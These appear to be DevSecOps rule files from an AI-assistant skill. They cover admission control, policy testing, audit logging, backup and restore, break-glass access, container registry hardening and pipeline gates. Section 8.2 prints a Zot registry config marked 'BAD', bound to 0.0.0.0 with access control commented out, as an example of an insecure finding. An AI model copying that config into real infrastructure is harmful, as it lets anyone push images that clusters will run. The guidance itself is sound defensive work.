# 07 — Runtime Enforcement & Operations (admission, policy as code, logging, recovery)

Scope: the controls that make the rest of this skill *enforced* rather than aspirational —
the cluster refuses unverified artifacts, policy lives in git with tests, every action is
attributable, and recovery is proven, not presumed.

## 7.1 Admission control: only verified images run

The pipeline's signatures and attestations (rules/02) mean nothing if the cluster runs
whatever it's handed. Admission is where supply chain security becomes mandatory.

```yaml
# Kyverno ImageValidatingPolicy (CEL, v1 — GA since 1.17) — require cosign keyless
# signature + provenance from the release workflow, prod namespaces
apiVersion: policies.kyverno.io/v1
kind: ImageValidatingPolicy
metadata: { name: verify-image-signature }
spec:
  validationActions: [Deny]                          # not Audit — see rollout
  webhookConfiguration: { failurePolicy: Fail }
  validationConfigurations: { mutateDigest: true }   # rewrite tag → verified digest
  matchConstraints:
    namespaceSelector: { matchLabels: { env: prod } }
    resourceRules:
      - apiGroups: [""]
        apiVersions: [v1]
        resources: [pods]
        operations: [CREATE, UPDATE]
  matchImageReferences:
    - glob: "ghcr.io/myorg/*"
  attestors:
    - name: release
      cosign:
        keyless:
          identities:
            - subject: "https://github.com/myorg/*/.github/workflows/release.yml@refs/heads/main"
              issuer: "https://token.actions.githubusercontent.com"
        ctlog: { url: "https://rekor.sigstore.dev" }
  attestations:
    - name: provenance
      intoto: { type: https://slsa.dev/provenance/v1 }  # require provenance, not just a signature
  validations:
    - expression: >-
        images.containers.map(i, verifyImageSignatures(i, [attestors.release])).all(e, e > 0)
      message: image not signed by the release workflow
    - expression: >-
        images.containers.map(i, verifyAttestationSignatures(i,
        attestations.provenance, [attestors.release])).all(e, e > 0)
      message: missing or unverified provenance attestation
```

Legacy: the `kyverno.io/v1` ClusterPolicy `verifyImages` pattern still works but is
deprecated since Kyverno 1.17 (Feb 2026; critical fixes only from 1.18, removal planned
for v1.20, Oct 2026) — write new policies against the CEL v1 types and migrate existing
ones via the project's ClusterPolicy→CEL migration guide, pinning the same subject/issuer.

Rules:
- **Registry allowlist first**: a policy verifying `ghcr.io/myorg/*` but admitting
  `docker.io/anything` unverified is a bypass with extra YAML. Pair signature
  verification with "images only from these registries" (and rules/04 §4.5 prod-registry
  promotion).
- Verify **identity, not existence**: exact issuer + subject (workflow), as in rules/02
  §2.3 — `subject: "*"` verifies that *someone* used Sigstore.
- Require the **provenance/SBOM attestations**, not just a signature, once rules/02 is in
  place; optionally add freshness conditions (scan attestation < N days).
- `failurePolicy: Fail` on the webhook for prod admission — `Ignore` means "enforce
  unless the enforcer is down", which is the first thing an attacker or an outage takes
  out. Accept the availability tradeoff consciously (HA the controller; exempt
  kube-system to avoid bricking the cluster).
- Cover all Pod-producing paths (Kyverno/policy-controller handle Pod via workload
  controllers; verify your policy matches Deployments/CronJobs creation too, or relies on
  Pod-level matching that can't be skipped).
- **Rollout pattern**: `Audit` → triage violations to zero → flip to enforce (`Deny` for
  the CEL policy types). Shipping
  straight to Enforce breaks workloads and gets the policy deleted; staying in Audit
  forever is the Medium finding "decorative admission".
- Alternatives: Sigstore `policy-controller` (`ClusterImagePolicy`) if you want
  verification-only; OPA Gatekeeper + external-data cosign provider works but is more
  moving parts. Cloud-native equivalents (Binary Authorization on GKE) are fine — same
  identity-pinning rules.

## 7.2 Policy as code (OPA / Kyverno) — beyond image verification

The baseline policy set every cluster should enforce (mirrors rules/04 hardening):

- Pod Security Admission `restricted` (or equivalent policies): no privileged, no
  hostPath/hostNetwork/hostPID, `runAsNonRoot`, no privilege escalation, seccomp
  RuntimeDefault, capabilities dropped.
- Org invariants: digests not tags (`:latest` denied), resource limits present, required
  labels (owner, app) for attribution, no `default` ServiceAccount with API access,
  ingress/Service restrictions per tier.
- Beyond the cluster: same policy-as-code approach for IaC (conftest/OPA in the plan
  gate, rules/05 §5.3) and for CI config — one policy language strategy, many enforcement
  points.

```yaml
# Pod Security Admission — enforce restricted in prod, warn ahead of enforcement elsewhere
apiVersion: v1
kind: Namespace
metadata:
  name: prod-payments
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: "v1.36"   # pin to your cluster's minor — 'latest' changes under you
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/audit: restricted
```

PSA gives the hardened-pod baseline for free; Kyverno/Gatekeeper add what PSA can't
express (image rules, label requirements, org invariants). Use both — replacing PSA with
hand-rolled policies usually re-implements it worse.

Engineering discipline (policies are production code):
- **Policies live in git**, deployed via GitOps (rules/06 §6.4) — never `kubectl apply`'d
  by hand; the policy repo is protected like prod because it *is* the prod rulebook.
- **Policies have tests**: `kyverno test` fixtures / OPA `opa test` + conftest unit tests
  with good/bad manifests, run as a required CI check on the policy repo. An untested
  policy change can no-op your entire admission layer in one merge (test the *deny* cases
  especially).
- **Exceptions are first-class, scoped, and time-bound**: Kyverno `PolicyException` (or
  documented exclusion lists) naming the workload, the policy, a reason, an owner, and an
  expiry — reviewed via PR like any code. A namespace-wide permanent exemption is policy
  deletion in disguise (High). Inventory exceptions on a schedule (rules/05 §5.1
  suppression discipline applies).
- Version and stage policy rollouts (audit→enforce per policy, per environment) and
  monitor webhook latency/error budgets — a flapping webhook gets `failurePolicy: Ignore`d
  by a tired SRE at 3am unless you've engineered it properly.

```yaml
# kyverno-test.yaml — the deny case is the one that matters
apiVersion: cli.kyverno.io/v1alpha1
kind: Test
metadata: { name: image-policy-tests }
policies: [verify-image-signature.yaml]
resources: [fixtures/signed-pod.yaml, fixtures/unsigned-pod.yaml, fixtures/dockerhub-pod.yaml]
results:
  - policy: verify-image-signature
    rule: require-signed-images
    resources: [signed-pod]
    result: pass
  - policy: verify-image-signature
    rule: require-signed-images
    resources: [unsigned-pod, dockerhub-pod]
    result: fail            # if this fixture ever "passes", the gate is open — CI must catch it
```

(Fixture above uses the legacy ClusterPolicy schema; the Kyverno CLI also tests the CEL
v1 policy types — carry the same deny-case fixtures over when migrating.)

OPA equivalent: `opa test policies/ -v` with `deny` rule unit tests, plus
`conftest test --policy policies/ fixtures/` in the same required check.

## 7.3 Incident-ready logging & deployment traceability

Design logging for the worst day: "we think the pipeline was compromised three weeks ago —
what did it touch?"

Must-capture, retained beyond the incident-discovery horizon (≥ 1 year for pipeline audit
trails is a common floor; match your compliance regime):

- **CI/CD audit events**: workflow runs (who/what/when/SHA), secret access, environment
  approvals, workflow-file changes, runner registrations, org Actions-policy changes
  (GitHub audit log streaming to your SIEM — the in-product retention is short).
- **Deploy events**: digest, source SHA, pipeline run URL, approver, environment — the
  rules/02 §2.8 traceability triple, emitted to your observability stack as deploy
  markers (also makes "what changed?" the first incident query it should be).
- **Admission decisions**: policy denials *and* exception uses; an attempted unsigned
  image in prod is a page, not a log line.
- **Registry events**: pushes (which identity wrote which digest), deletions, auth
  failures.
- **Cluster/cloud control plane**: kube-audit (at least metadata level on writes,
  request-level on secrets access), CloudTrail/equivalent — with the TF apply roles and
  GitOps controller identities as named, alertable principals: those identities acting
  outside their pipelines is a high-fidelity compromise signal.

Properties: logs ship to storage the producing system cannot alter or delete
(write-once/object-lock or a separate logging account) — an attacker with CI compromise
must not be able to erase the CI audit trail (same logic as Rekor's transparency log).
Alert on the high-signal few: workflow modifications on release workflows, new runner
registration, admission-policy changes, break-glass use (§7.5), bypass events (rules/05
§5.2). Don't ship 400 unactioned detections; ship ten that page.

### 7.3.1 High-signal detections for the delivery chain

| Signal | Why it pages |
|---|---|
| Modification of release/deploy workflow files or org Actions policy | Gate tampering — precedes artifact injection |
| New self-hosted runner registered / runner label change | Attacker-controlled build capacity |
| `id-token`-bearing job in an unexpected workflow/ref | OIDC role-assumption staging |
| TF apply role or GitOps controller identity used outside its pipeline source | Stolen pipeline identity in interactive use |
| Registry push to a release repo by a non-CI identity | Bypasses the only-CI-writes invariant (rules/04 §4.5) |
| Admission policy changed / PolicyException created | Enforcement-layer tampering |
| Unsigned-image admission attempt in prod | Either an attack or a broken pipeline — both urgent |
| Secret-scanning push-protection bypass approved | Human judged a secret OK — verify |
| Break-glass credential checkout | By definition exceptional |

Each detection needs an owner and a tested response path; a detection nobody drills is a
dashboard widget.

## 7.4 Backup & restore testing

A backup that has never been restored is a hypothesis. Scope is wider than the database:

- **Inventory what reconstruction needs**: databases AND object stores, Terraform state
  (rules/06 §6.1 — losing state orphans the infra), container registry (released digests
  + attestations, rules/04 §4.5), git (the GitOps repo is prod), secret manager contents,
  CA/KMS key material (without the KMS key, encrypted backups are noise — key DR is its
  own plan), CI configuration.
- **Define RPO/RTO per system, then test against them**: scheduled automated
  restore-verification (restore to an isolated environment, run integrity checks, report)
  — quarterly minimum for tier-0, plus a periodic full game-day that exercises the
  *people* and the runbook, not just the cron job.
- Backups are an attack target (ransomware's first stop): separate account/project,
  separate credentials that prod identities cannot reach, immutability/object-lock on the
  backup store, and **deletion requires a second identity** (no single principal can
  destroy prod *and* its backups — check this explicitly; it's commonly violated by an
  admin role that spans both). Backup access is also data access: encrypt, restrict
  reads, log them.
- Restore *security* posture too: a restored environment must come back inside the same
  controls (admission policies, secrets re-pointed, old credentials not resurrected from
  the backup).
- Audit severity: no restore testing = High masquerading as "we have backups"; backups
  deletable by prod-compromising credentials = High.

### 7.4.1 Recovery scope matrix (verify each cell has an owner and a tested procedure)

| Asset | Backup mechanism | Restore tested? | Deletable by prod creds? |
|---|---|---|---|
| Databases | PITR + snapshots, cross-account copy | scheduled auto-verify | must be NO |
| TF state | bucket versioning + replication | drill: restore N-1 state, plan must be clean | must be NO |
| Git (incl. GitOps repo) | mirror to second provider/account | drill: rebuild from mirror | must be NO |
| Registry (released digests + attestations) | replication / immutable storage | pull + verify signatures from replica | must be NO |
| Secret manager | provider backup or sealed export | restore to isolated vault, count entries | must be NO |
| KMS/CA keys | multi-region keys, documented key DR | tabletop minimum | N/A — focus on availability |

The right-hand column is the ransomware question; answer it with actual IAM policy
review, not assumption.

## 7.5 Break-glass — the audited escape hatch

Every gate in this skill needs exactly one legitimate bypass, or the first sev-1 will
create an unaudited one permanently:

- A documented break-glass identity/path per system (cluster-admin cred in a sealed vault
  slot, ruleset bypass role, registry direct-push identity) that is: normally unused,
  **alerted on use** (page, not log), time-bound, and followed by a mandatory post-use
  review that re-rotates the credential and reconciles whatever was changed back into git
  (drift handling, rules/06 §6.3).
- Break-glass use is an *input to process fixes*: frequent use means a gate is
  mis-designed — fix the gate, don't normalize the bypass.
- Audit both failure modes: no break-glass defined (gates will be dismantled under
  pressure) and break-glass that is just "the admins bypass protection routinely"
  (`rules/09` §1 — that's not break-glass, that's no glass).

## 7.6 Closing the loop

Runtime signals feed back into the pipeline: admission denials reveal unsigned/legacy
images to migrate; drift corrections reveal process gaps; scanner findings on *deployed*
digests (rules/03 §3.6) drive rebuild-and-promote of patched bases (rules/04 §4.3);
incident retros add Opengrep rules (rules/05 §5.1) and admission policies. A DevSecOps
setup that only adds controls and never tunes them ends as the bypassed, resented variety.
Track: gate latency, exception/suppression counts and ages, time-to-remediate by severity,
rollback drill recency, restore test results. Those five trends are the honest health
dashboard of everything in this skill.

## 7.7 Cleanup on a shared runtime is a change, not housekeeping

`prune`, `fstrim` and their friends read as tidying and are treated as safe by default. They
are neither: they mutate state that other things hold open, and the damage surfaces later,
somewhere else, wearing a different failure's clothes.

Field-reported: `podman image prune -a` + `volume prune` + `fstrim` on a dev VM corrupted the
container runtime's overlay storage. Every `podman run` then failed with `input/output
error` **on a VM with 62 GB free inside** — and the runtime went on looking healthy, because
images still pulled and `podman ps` still reported running containers fine. Only something
needing a *new* container failed. Downstream, a test file went from 3 passed to 1 passed /
2 failed, and **a harness that cannot start is indistinguishable from a harness that ran and
found nothing** — the second reading being a conclusion about the target
(`sota-testing` rules/04 §4.8).

- **Treat prune/trim as a change requiring a restart and a post-change smoke test**, not as
  maintenance. Restart the runtime, then start one throwaway container and assert it
  produced output. "Still running" is not "still able to start".
- **Enumerate foreign-owned resources before pruning shared infrastructure.** A `container
  prune` removes *another project's* stopped database container, which moves its anonymous
  volume into the dangling set for the next `volume prune` to delete. The check that makes
  it safe is listing dangling volumes and confirming **none are named** — a named volume is
  one somebody chose to keep.
- **On a machine you share with other work, prune is a coordination problem.** The blast
  radius is every project on the host, and nothing in the command says so.
- The capacity side of the same coin — *check headroom before a command that writes at
  scale* — is `sota-shell-scripting` rules/08 §3.

## Audit checklist

- [ ] Admission enforces (not audits) image verification in prod: exact signer identity + issuer, provenance attestation required, registry allowlist, tag→digest mutation, `failurePolicy: Fail`, all Pod-paths covered; Kyverno policies on the CEL v1 types (ClusterPolicy deprecated since 1.17, removal planned v1.20)
- [ ] Baseline workload policies enforced: PSA restricted-equivalent, no `:latest`, non-root, resource limits, attribution labels
- [ ] Policies in git, GitOps-deployed, with CI-tested deny cases; exceptions are scoped, owned, time-bound, PR-reviewed, and inventoried
- [ ] CI/CD, deploy, admission, registry, and control-plane audit events stream to tamper-resistant storage with ≥1y retention; pipeline identities are alertable principals
- [ ] Deploy traceability: digest → source SHA → run → approver queryable in seconds; deploy markers in observability
- [ ] High-signal alerts wired: release-workflow modification, runner registration, policy change, unsigned-image attempt, break-glass use, push-protection bypass
- [ ] Backup inventory covers state/registry/git/secrets/keys; restores tested on schedule against RPO/RTO; backups immutable, in a separate trust domain, not deletable by prod-compromising credentials
- [ ] Break-glass documented per gate, alarmed on use, time-bound, post-reviewed, reconciled to git; routine admin bypass absent
- [ ] Feedback loop metrics tracked: gate latency, exception age/count, remediation SLAs, rollback drill and restore test recency
- [ ] **Is prune/trim on a shared runtime treated as a change?** (§7.7) Restart plus a
      post-change smoke test that *starts* something, foreign-owned resources enumerated
      first, and dangling volumes confirmed unnamed before deletion.

# 08 — Registry Security (the registry as a supply-chain trust anchor)

Scope: the container/artifact **registry itself** as infrastructure. rules/04 covers how the
image is built and pushed; rules/02 covers signing and provenance; this file covers the box
that holds them — who can write to it, who can read from it, what it guarantees about the
bytes it serves, and what happens when it is internet-exposed with auth turned off.

The registry is **tier-0**: every image the cluster runs flows through it. An
anonymously-writable registry is cluster-wide RCE — an attacker re-pushes a trusted tag, the
next rollout pulls it, and you are running their code with your service account. Admission-time
*enforcement* of what may be pulled (signature verify, registry allowlist, digest pinning) lives
in the **sota-kubernetes** skill; network exposure controls reference **sota-network-security**;
running the registry workload itself hardened references **sota-sandboxing**. This file is the
registry's own posture.

## 8.1 The trust-anchor model — why this is tier-0

- The registry sits on the critical path of every deploy. Compromise it and you do not need to
  compromise CI, source, or the cluster: you change what the cluster *pulls*. This is the same
  authority as repo-write or CI-secret theft, often with worse detection (no PR, no audit trail).
- Three things must hold for the registry to be a trust anchor, not a liability:
  1. **Only trusted writers can push** (no anonymous, no shared creds, CI-scoped identities).
  2. **What a consumer pulls is immutable and verifiable** (immutable tags, digest pinning,
     signatures that get *verified* — rules/02 produces them, sota-kubernetes enforces them).
  3. **The registry is available and recoverable** (tier-0 dependency; if it is down, you cannot
     deploy or scale, and if it is lost, you cannot reconstruct without source rebuilds).
- Audit framing: a registry that fails (1) is **Critical** (anonymous/shared push = artifact
  injection). Failing (2) is **High** (tag mutation, no verification). Failing (3) is **Medium**
  (availability/recovery), **High** if it is also the only copy of release artifacts.

## 8.2 AuthN/AuthZ — no anonymous write, least-privilege everything

**Rule: no anonymous push, ever. Usually no anonymous pull either.** Anonymous pull is
defensible only for a deliberate public-mirror registry on an isolated network path — never on
the same instance that holds private images.

The real finding (Zot, self-hosted): the registry ran with **anonymous push+pull on a
`hostNetwork` port** because the auth/accessControl mount was left **commented out**. That is
Critical: any pod on the node network (and anything that can reach the host port) can push a
`:prod` tag. The commented-mount pattern is the hunt — config that *looks* secured in the repo
but is disabled at deploy.

```json
// BAD — Zot with no auth, anonymous everything (the finding)
{
  "http": { "address": "0.0.0.0", "port": 5000 }
  // "accessControl": { ... }   <-- mount commented out; defaults to anonymous read+write
}
```

```json
// GOOD — Zot: authenticated, anonymous denied, per-repo least privilege
{
  "http": {
    "address": "127.0.0.1", "port": 5000,
    "tls": { "cert": "/etc/zot/tls/cert.pem", "key": "/etc/zot/tls/key.pem" },
    "auth": { "openid": { "providers": { "oidc": {
      "issuer": "https://idp.internal", "clientid": "zot", "scopes": ["openid","email"] } } } },
    "accessControl": {
      "repositories": {
        "team-a/**": {
          "anonymousPolicy": [],                         // no anonymous access
          "defaultPolicy": ["read"],                     // authed users: pull
          "policies": [
            { "users": ["ci-team-a"], "actions": ["read","create","update"] }  // CI may push
          ]
        }
      },
      "adminPolicy": { "users": ["registry-admin"], "actions": ["read","create","update","delete"] }
    }
  }
}
```

- **htpasswd is the floor, not the target.** Static basic-auth credentials get shared, copied
  into CI as one blob, and never rotated. Prefer **OIDC / bearer-token** auth, and **mTLS** where
  clients are machines you control. Zot v2 supports OIDC (incl. dex/GitHub/Google/GitLab), LDAP,
  bearer-token, and mTLS with identity extraction from the peer cert (verified, v2.1.x). Harbor
  authenticates humans via OIDC/LDAP and machines via **robot accounts**.
- **Separate push and pull identities.** Runtime nodes get a **pull-only** credential scoped to
  the namespaces they run; CI gets a **push** credential scoped per-repo. A single read-write
  cred shared by both means a leaked node kubelet secret can rewrite prod images.
- **Robot/CI accounts are per-repo and expiring.** Harbor robot accounts carry scoped actions +
  expiration; Zot policies scope `actions` per repo pattern to a CI user. Never grant a CI
  identity `delete` or admin. Map this to OIDC-federated CI where the registry trusts the CI
  provider's tokens (no stored registry password — cross-ref rules/01 / rules/02 for the OIDC
  publish pattern).
- **Humans do not push to release repos.** CI is the only writer to anything promoted; that is
  what makes provenance meaningful (rules/02). Human push to a `dev/**` sandbox is fine.

## 8.3 Image integrity & immutability — defeating tag mutation

The attack: a tag like `app:prod` or `app:v1.2.3` is a *pointer*. If the registry lets it be
re-pushed, an attacker (or a careless human) repoints it to a different manifest and every
subsequent pull gets new bytes. Signed-by-CI provenance is worthless if the consumer trusts the
mutable pointer instead of the digest.

- **Enable tag immutability** where the registry supports it:
  - **Harbor**: tag immutability rules — an immutable tag cannot be deleted, re-pushed,
    re-tagged, or overwritten by replication (verified, goharbor.io). Scope rules to release tag
    patterns.
  - **ECR**: per-repository `imageTagMutability: IMMUTABLE` — a second push of an existing tag is
    rejected (verified, AWS docs).
  - **GAR**: immutable-tags setting is GA for Docker repositories — locks the digest a tag points
    to (verified, Google docs).
  - **ACR**: there is **no registry-wide immutable-tag toggle**; immutability is achieved by
    *locking* an image/repo (`az acr repository update --write-enabled false`) per artifact —
    treat ACR tag-immutability as a manual/automated lock step, not a built-in policy (verify
    current; Microsoft has had this as an open feature request).
  - **Zot**: enforce immutability at the consumer (digest pinning) + retention/policy; Zot does
    not ship a Harbor-style immutable-tag rule engine — do not assume one.
- **Consumers pin by digest.** Deploy manifests reference `image@sha256:...`, not tags (this is
  the build-once-promote-many invariant from rules/04 §4.5 and is *enforced* at admission by
  sota-kubernetes). A digest is content-addressed: it cannot be mutated under you. Tags are for
  humans; digests are the identity.
- **Signature + attestation storage and verification.** rules/02 produces cosign signatures and
  in-toto attestations; the registry **stores** them. Modern registries use the **OCI 1.1
  Referrers API** (`subject` + `artifactType`) to associate signatures/SBOMs/scan results with an
  image by digest — verified GA-track: OCI image+distribution v1.1 released; ECR, Quay, JFrog,
  GAR-class registries support the Referrers API; cosign/oras query it. Confirm your registry
  serves `/v2/<name>/referrers/<digest>` (older registries fall back to the tag-schema workaround
  — verify, because a registry that silently drops referrers loses your attestations). The
  *verify-and-enforce* step (admission requires a valid signature by your release identity) is in
  sota-kubernetes; the registry's job is to durably keep the referrer artifacts next to the image.
- **Content-trust legacy**: Harbor's old Notary/DCT path is superseded by **cosign**-based
  signing; treat new Notary v1/DCT setups as deprecated and standardize on cosign (rules/02).

## 8.4 Vulnerability management at the registry

The registry is the natural place to scan *what you actually store* and to re-scan against new
advisories without rebuilding. This complements (does not replace) CI scan-on-build (rules/04
§4.4) and the dependency posture in rules/03/05.

- **Scan-on-push, block-on-critical.** Configure the registry (or an attached scanner) to scan
  every pushed manifest and quarantine/fail images over policy:
  - **Harbor**: built-in Trivy scanning + a **"Prevent vulnerable images from running"** project
    policy (block pull above a severity) — this is the registry refusing to *serve* a failing
    image, a control admission cannot give you for non-cluster pullers.
  - **ECR**: enhanced scanning via **Amazon Inspector** — scan-on-push **and continuous re-scan**
    as new CVEs publish, covering OS + language packages and distroless/Chainguard/scratch bases
    (verified, AWS). Basic scanning is Clair-based.
  - **GAR**: Artifact Analysis on-push + continuous scanning across OS and language ecosystems
    (verified, Google). **ACR**: Microsoft Defender for Cloud scans at the **manifest** level on
    push/import/recent-pull (verified) — note untagged manifests still alert.
  - **Zot**: integrates Trivy for scan results surfaced in the API/UI; for hard *block-on-pull*,
    pair with admission enforcement (sota-kubernetes) since Zot is OCI-native and minimal.
- **Continuous re-scan is the point.** An image clean at push is not clean forever — a CVE
  disclosed next week applies to images already stored. Registry-side continuous scanning catches
  the "old image, new advisory" gap that build-time scanning structurally cannot. Reference the
  scheduled deployed-digest scan in rules/04 §4.4 / rules/03 — the registry continuous scan and
  the cluster deployed-digest scan are complementary (registry = what you store, cluster = what
  you run).
- **Store SBOM + scan attestations** next to the image (OCI referrers, §8.3) so the scan result
  and bill of materials travel with the artifact and feed admission policy ("scanned within N
  days" — rules/02 §2.4).
- **Quarantine, do not silently serve.** A failing image should be unpullable for prod (Harbor
  prevent-vulnerable policy, or a `quarantine/**` repo that admission rejects) — not merely
  flagged in a dashboard nobody reads. A scan with no enforcement is Medium decorative control.

## 8.5 Supply-chain pull hygiene

What the registry *pulls from upstream* is as much an attack surface as what it serves.

- **Pull-through cache / proxy for upstream images.** Front Docker Hub / public registries with a
  caching proxy (Zot **sync** in on-demand/mirror mode; Harbor proxy-cache projects; ECR
  pull-through cache; ACR artifact cache; GAR remote repos — all verified-current). Wins:
  - defeats Docker Hub rate limits (a real outage cause when forty nodes pull directly);
  - one audited choke point and one place to patch/scan upstream images;
  - availability: upstream outage does not stop your deploys.
- **Dependency confusion at the image layer.** Internal namespaces must not be shadowable by
  public ones. If you pull `mycorp/base` and a proxy can resolve that from Docker Hub's
  `mycorp/base`, an attacker who registers the public name owns your base image. Pin internal
  images to **your** registry by full path + digest; never let a proxy silently fall through to
  public for internal-looking names. (Same class as package dependency-confusion in rules/03 §3.2,
  applied to images.)
- **Allowed-registries policy.** Workloads pull only from your registry / blessed mirrors. This
  is **enforced at admission** by **sota-kubernetes** (registry allowlist) — reference it; do not
  duplicate the policy here. The registry-side half is: make your registry the only one that has
  what prod needs, so the allowlist is enforceable without breaking deploys.
- **Mirroring / air-gap.** For air-gapped or sovereignty-constrained environments, mirror the
  full dependency closure (bases, sidecars, operators) into your registry and cut external pull
  paths entirely — the allowlist then has nowhere else to go.

## 8.6 Retention, GC & availability — without breaking running deploys

- **Tag retention + garbage collection.** Expire dev/PR images on a schedule; GC unreferenced
  blobs to reclaim storage. Harbor v2.15 added tag-deletion options in GC (verified-current).
- **Never GC a digest a running workload references.** Deploys pin digests (§8.3); a retention
  rule that deletes by tag-age can orphan a digest that prod still runs, and the next node that
  cold-pulls it gets `manifest unknown` → `ImagePullBackOff`. Retention must exclude:
  digests referenced by live deployments (query deployed digests — rules/02 §2.8 / rules/04 §4.3),
  release artifacts within your audit horizon, and their attestations/SBOMs.
- **Run GC against a consistent view.** GC + concurrent push race on some registries — run GC in
  the registry's supported maintenance mode (Harbor handles locking; Zot GC has documented
  settings) rather than ad-hoc blob deletion.
- **HA + backup — it is tier-0.** The registry must survive node loss (HA replicas, replicated or
  object-store backend) and be **restorable** (backup the metadata DB *and* blob store together;
  test the restore). A registry that is the single copy of your release artifacts with no tested
  restore is a High availability/recovery finding. Harbor replication (to another Harbor, Docker
  Hub, ECR/GAR/ACR, any OCI registry — verified) and Zot sync give you a warm second copy.

## 8.7 Network & deployment hardening of the registry

- **Never anonymous + internet-exposed.** This is a continuously-scanned exposure class:
  registries on `0.0.0.0:5000` with auth off are found and abused at internet scale. Bind to
  loopback/cluster-internal, put authn in front, and restrict reachability — network policy /
  segmentation lives in **sota-network-security**; reference it. Internet-exposed + anonymous =
  Critical.
- **No `hostNetwork` unless genuinely required.** The finding ran the registry on a `hostNetwork`
  port, which both exposed it broadly and bypassed namespace network policy. Run it as a normal
  pod with a `ClusterIP`/internal Service; placement and pod hardening are **sota-kubernetes**;
  workload isolation (drop caps, read-only rootfs, non-root) is **sota-sandboxing**.
- **TLS always.** Even internal: registry creds and bearer tokens cross the wire on every push;
  plaintext registry traffic is credential interception. Terminate TLS at the registry or a
  trusted mesh sidecar; do not rely on `--insecure-registry` in clients (it disables verification
  fleet-wide and normalizes MITM).
- **Treat the registry config as security-critical material.** The commented-out accessControl
  mount is the canonical failure. Render config from a reviewed source (GitOps), validate it on
  deploy (fail startup if `accessControl`/`auth` is absent in a non-public registry), and alert if
  the running config permits anonymous write.

## 8.8 Product notes (brief — verify current at use)

- **Zot** (user's choice; current line **v2.1.x**, e.g. v2.1.14 Jan 2026): OCI-native, minimal,
  no DB. `accessControl` with `repositories`/`anonymousPolicy`/`defaultPolicy`/`policies`/
  `adminPolicy`; OIDC/LDAP/bearer/mTLS auth; workload-identity OIDC for secretless CI; **sync**
  for pull-through/mirror (incl. ECR upstream). It does **not** ship Harbor-style immutable-tag
  rules or block-on-pull scanning gates — get those from digest pinning + admission
  (sota-kubernetes). Verified against zotregistry.dev.
- **Harbor** (current **v2.15.x**, Mar 2026): projects + robot accounts + RBAC; **tag
  immutability rules**; built-in **Trivy** scan + prevent-vulnerable-from-running policy;
  **replication** to any OCI registry; cosign signing (Notary/DCT legacy). Heavier (Postgres,
  Redis, multiple services) — its HA/backup story is real work. Verified against goharbor.io.
- **Cloud registries** — IAM-scoped (no separate registry passwords), each with immutable tags +
  scan-on-push:
  - **ECR**: `IMMUTABLE` tags; Inspector enhanced scanning (on-push + continuous); managed image
    signing; pull-through cache. IAM/repo policies for access.
  - **GAR**: immutable-tags GA; Artifact Analysis scanning; IAM-scoped; remote/virtual repos.
  - **ACR**: image-lock for immutability (no registry-wide toggle — verify); Defender for Cloud
    scanning (manifest-level); artifact cache; RBAC/AAD.
  - **GHCR / Docker Hub**: GHCR ties access to the source repo (`image.source` label, rules/04
    §4.2.2) and supports OIDC-published provenance; Docker Hub's main risk is rate limits + the
    blast radius of being everyone's default upstream — front it with a pull-through cache (§8.5).

## Audit checklist

Hunt patterns in brackets.

- [ ] **No anonymous push**, and no anonymous pull on any instance holding private images
  [grep config for `anonymousPolicy` non-empty / missing auth; commented-out `accessControl`/auth
  mount; `0.0.0.0` bind with no `auth` block]
- [ ] Auth is OIDC/token/mTLS, not bare htpasswd; CI/robot accounts are **per-repo, expiring,
  non-admin**; push and pull identities are separate [shared read-write cred used by nodes and CI]
- [ ] Humans cannot push to release/promoted repos; CI is the sole writer there
- [ ] **Immutable tags** enabled where supported (Harbor rules / ECR `IMMUTABLE` / GAR setting /
  ACR lock); release tags are not re-pushable [try re-pushing an existing release tag in staging]
- [ ] Consumers **pin digests**, not tags (enforced at admission by sota-kubernetes)
  [`:latest` or bare mutable tags in deploy manifests]
- [ ] Signatures/SBOM/scan **attestations stored** with the image via OCI referrers, and a named
  verifier exists (rules/02 + sota-kubernetes) [signing present, zero verification]
- [ ] **Scan-on-push + continuous re-scan**; failing images quarantined/unpullable for prod, not
  just dashboarded [scanner enabled but no block/quarantine policy]
- [ ] Upstream pulls go through a **pull-through cache**; internal image names cannot fall through
  to public (image-layer dependency confusion); allowed-registries enforced (sota-kubernetes)
  [direct `docker.io/...` pulls in manifests; proxy fall-through for internal namespaces]
- [ ] Retention/GC **excludes digests referenced by running workloads** + release artifacts +
  their attestations [tag-age GC with no live-digest exclusion → ImagePullBackOff risk]
- [ ] Registry is **HA + backed up + restore-tested**; treated as tier-0 [single copy of release
  artifacts, no tested restore]
- [ ] **Not internet-exposed while anonymous**; **TLS** on; no `--insecure-registry`; no
  `hostNetwork` unless required; reachability restricted (sota-network-security) and workload
  hardened (sota-sandboxing) [public IP + port 5000 + no auth; `hostNetwork: true`]
- [ ] Registry config rendered from reviewed source; startup **fails closed** if auth/accessControl
  is absent on a non-public registry [config drift between repo and running instance]

# Gates That Hold — a gate that can fail, still covers you, and says why

`rules/05` covers the scanners: what to run, where, and how to read what they emit.
This file covers the harder question — **whether any of it actually gates**, which is
a property of the pipeline around the scanner rather than of the scanner.

Split out of `rules/05` on 2026-09-06, from the subsection *"Gates that don't get
bypassed"*, which had reached 284 lines — more than half that file. Its five subsections
were unnumbered and gained numbers in the move (§1–§3 here, §4–§6 in `rules/11`), so an older citation of that
subsection means this file as a whole.

Five distinct ways a gate stops gating, in the order they are usually discovered:

| § | The gate… | and the tell is |
|---|---|---|
| **1** | is not *required*, or is bypassed | a green compliance answer that no framework asks to be falsifiable |
| **2** | can no longer **fail** | the known-bad still gets rejected, but from a scope that shrank |
| **3** | ran, failed, and the artifact **shipped anyway** | a verification error at the consumer, three steps from the cause |
| **4** | failed for a reason nobody can **recover** | `Error (exit code 1)`, and the pod is gone |
| **5** | is clean when *you* run it, red when **CI** does | "all gates pass" said before the push |

§1 and §2 are about the gate's *authority and scope*. §3 and `rules/11` §4 come from one incident
and are two halves of the same failure — the artifact escaped, and then the error message
sent the operator to the wrong subsystem. `rules/11` §5 is the inverse of §2: the code is in scope,
the gate sees it, and the human's local re-run asks a different question.

**The thread through all five** is `sota-code-security` rules/15's: a gate is an
instrument, and an instrument that cannot produce a wrong answer on demand has not been
verified. What this file adds is that a gate can be perfectly capable of failing and still
gate nothing — because of *when* it runs, *what* it can still see, or *whether anyone can
read its verdict afterwards*.

Related: probing a control → `sota-code-security` rules/12; instruments and guards →
`sota-code-security` rules/15; the scanners themselves → `rules/05`; pipeline identity,
permissions and provenance → `rules/01` and `rules/02`.

---


